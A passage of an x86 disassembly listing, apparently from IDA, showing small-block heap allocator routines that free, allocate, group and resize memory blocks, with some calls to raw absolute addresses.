loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2850000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		call	near ptr 27C0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28B05EFh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28B05EFh
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


